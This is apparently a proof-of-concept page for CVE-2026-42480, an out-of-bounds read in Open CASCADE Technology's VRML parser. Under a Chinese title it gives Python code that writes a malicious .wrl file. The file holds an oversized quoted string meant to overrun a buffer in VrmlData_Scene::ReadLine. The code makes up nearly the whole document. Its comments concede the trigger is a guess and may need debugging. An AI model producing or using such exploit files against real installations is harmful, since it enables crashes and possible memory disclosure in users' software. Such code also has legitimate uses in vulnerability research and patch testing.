CVE-2026-42480：Open CASCADE Technology越界读取漏洞

import sys # PoC to generate a malicious VRML file # This file attempts to trigger the out-of-bounds read in OCCT V8_0_0_rc5 def generate_malicious_vrml(filename): # The vulnerability is in VrmlData_Scene::ReadLine # It involves ptr[++anOffset] without bounds checking. # We create a long quoted string to potentially hit the buffer boundary. # Note: Exact offset to trigger the crash might require debugging the specific binary. header = "#VRML V2.0 utf8\n" # Attempting to trigger the escape handler issue # Constructing a string that pushes the parser to the limit payload = "Shape {\n geometry Box {\n size " # Adding a large quoted string to stress the parser payload += "\"" + "A" * 10000 + "\"\n" payload += "}\n}\n" with open(filename, "w") as f: f.write(header + payload) print(f"[+] Malicious VRML file generated: {filename}") if __name__ == "__main__": generate_malicious_vrml("exploit_vrml.wrl")